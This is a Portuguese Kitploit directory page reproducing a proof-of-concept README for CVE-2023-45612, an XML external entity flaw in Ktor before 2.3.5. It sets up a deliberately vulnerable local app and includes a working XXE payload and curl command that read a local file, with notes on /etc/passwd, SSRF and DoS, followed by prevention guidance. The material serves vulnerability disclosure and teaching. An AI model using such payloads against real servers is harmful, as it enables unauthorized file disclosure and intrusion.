Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ktor-cve-2023-45612-poc — Ktor XXE Injection Proof-of-Concept (CVE-2023-45612) | Kitploit
Ferramentas/GitHubGitHub/stefan-500/ktor-cve-2023-45612-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityMisconfigurationLearning & Education
GitHubstefan-500/ktor-cve-2023-45612-poc

ktor-cve-2023-45612-poc

Ktor XXE Injection Proof-of-Concept (CVE-2023-45612)

Ver Repositório
1há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ktor XXE Vulnerability Proof-of-Concept (CVE-2023-45612)

Resumo

Impacto: Acesso a arquivos arbitrários através de um DTD XML malicioso com referência XXE.
Causa raiz: Analisador de documento XML inseguro.

Este repositório contém uma aplicação Ktor 2.3.4 vulnerável configurada para permitir entidades externas de modo que o efeito XXE seja visível.

Descrição

Aplicação Ktor (v2.3.4) vulnerável para injeção de Entidade Externa XML (CVE-2023-45612) prova de conceito.

CVE-2023-45612 é um bug XXE (Entidade Externa XML) no ContentNegotiation do Ktor quando XML está habilitado em versões anteriores a 2.3.5.
Esta vulnerabilidade corresponde a CWE-611: Restrição Imprópria de Referência a Entidade Externa XML.
XXE faz parte da categoria de risco OWASP Top 10 A05:2021 - Configuração Incorreta de Segurança, mas também é um problema de design inseguro, já que a causa é um analisador XML não restritivo.

Reportado por Ulf Karlsson — veja notas de segurança da Jetbrains.

Componentes e versões afetados

Versões do Ktor anteriores a 2.3.5

Ambiente de reprodução

Esta é a minha configuração para reproduzir o problema:

  • IntelliJ IDEA 2025.2.4
  • Ktor 2.3.4
  • JDK 21
  • SO: Windows 10

XXE explicado

Documentos XML opcionalmente contêm uma Definição de Tipo de Documento (DTD), que, entre outras funcionalidades, permite a definição de entidades XML. É possível definir uma entidade fornecendo uma string de substituição na forma de uma URI. O analisador XML pode acessar o conteúdo dessa URI e incorporá-lo de volta no documento XML para processamento posterior. Ao enviar um arquivo XML que define uma entidade externa com uma URI file://, um atacante pode fazer com que a aplicação de processamento leia o conteúdo de um arquivo local.
Por exemplo, uma URI como "file:///c:/winnt/win.ini" designa (no Windows) o arquivo C:\Winnt\win.ini, ou file:///etc/passwd designa o arquivo de senhas em sistemas baseados em Unix.
(https://cwe.mitre.org/data/definitions/611.html)

Como funciona

Uma requisição POST é feita ao endpoint http://localhost:8080/xml.
A requisição envia um arquivo xml, exploit/payloads/xxe-demo-file.xml, contendo um elemento <!DOCTYPE> no qual uma entidade externa é referenciada, exploit/etc/secret.txt neste caso.

Isso poderia ser potencialmente qualquer outro arquivo no sistema ao qual o processo tem acesso.

xxe-demo-file.xml

root@kitploit:~
<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>

O analisador XML (configurado para permitir DTDs) resolve este elemento e recupera os dados do recurso.

A referência externa também poderia ser um caminho para um endpoint SSRF, ou poderia apontar para um arquivo grande para ocupar os recursos do sistema (DOS).

Passos para reprodução

  1. Execute o servidor:
root@kitploit:~
./gradlew run
  1. A saída deve ser:
root@kitploit:~
Responding at http://127.0.0.1:8080
  1. Envie o payload XXE usando curl:
root@kitploit:~
 curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml

Resultado esperado (vulnerável):

Console outputs: Received: <external entity data>

Resultado esperado (seguro):

400 Bad Request, ou similar (O analisador XML bloqueia a Definição de Tipo de Documento)

Evidência

Comando de execução:

Run app command

Envie o payload XXE usando cURL, e o resultado exibindo o conteúdo do arquivo injetado:

Run app command

Gravidade

A gravidade é alta/crítica. Potencial recuperação de arquivos locais, ataque SSRF, ataque DoS ou outros impactos no sistema.
Pontuação Base NVD: 9.8 CRÍTICO (CVSS v3) (https://nvd.nist.gov/vuln/detail/CVE-2023-45612)

Rascunho de diretrizes de prevenção para desenvolvedores

  • Configure o analisador XML para não resolver entidades externas. Se entidades externas forem necessárias, implemente um XmlResolver personalizado com um tempo limite de requisição, limite de recuperação de dados e restrinja os recursos que ele pode recuperar localmente.
  • Use recursos como a folha de dicas de prevenção XXE do OWASP, que cobre a implementação de prevenção XXE, especificamente para várias tecnologias.
  • Integre SAST no CI, pois pode encontrar algumas instâncias dessa fraqueza analisando o código-fonte.
  • Acompanhe e analise versões de dependências e vulnerabilidades.
  • Implemente padrões de codificação segura no nível da empresa.
  • Enfatize a integração da segurança ao longo do SDLC, especialmente nas fases de design e testes do desenvolvedor.

Referências

  • https://nvd.nist.gov/vuln/detail/CVE-2023-45612
  • https://cwe.mitre.org/data/definitions/611.html
  • https://capec.mitre.org/data/definitions/221.html
  • https://medium.com/@iason.tzortzis/xxe-xml-external-entity-injection-explained-e8be5f1f7cd7
  • https://ktor.io/docs/server-create-a-new-project.html#create-project-with-the-ktor-project-generator
  • https://www.jetbrains.com/privacy-security/issues-fixed/?product=Ktor
  • https://ktor.io/docs/2.3.13/welcome.html
  • https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files
  • https://ssojet.com/parse-and-generate-formats/parse-and-generate-xml-in-ktor/
  • https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
  • https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
Baixar ferramenta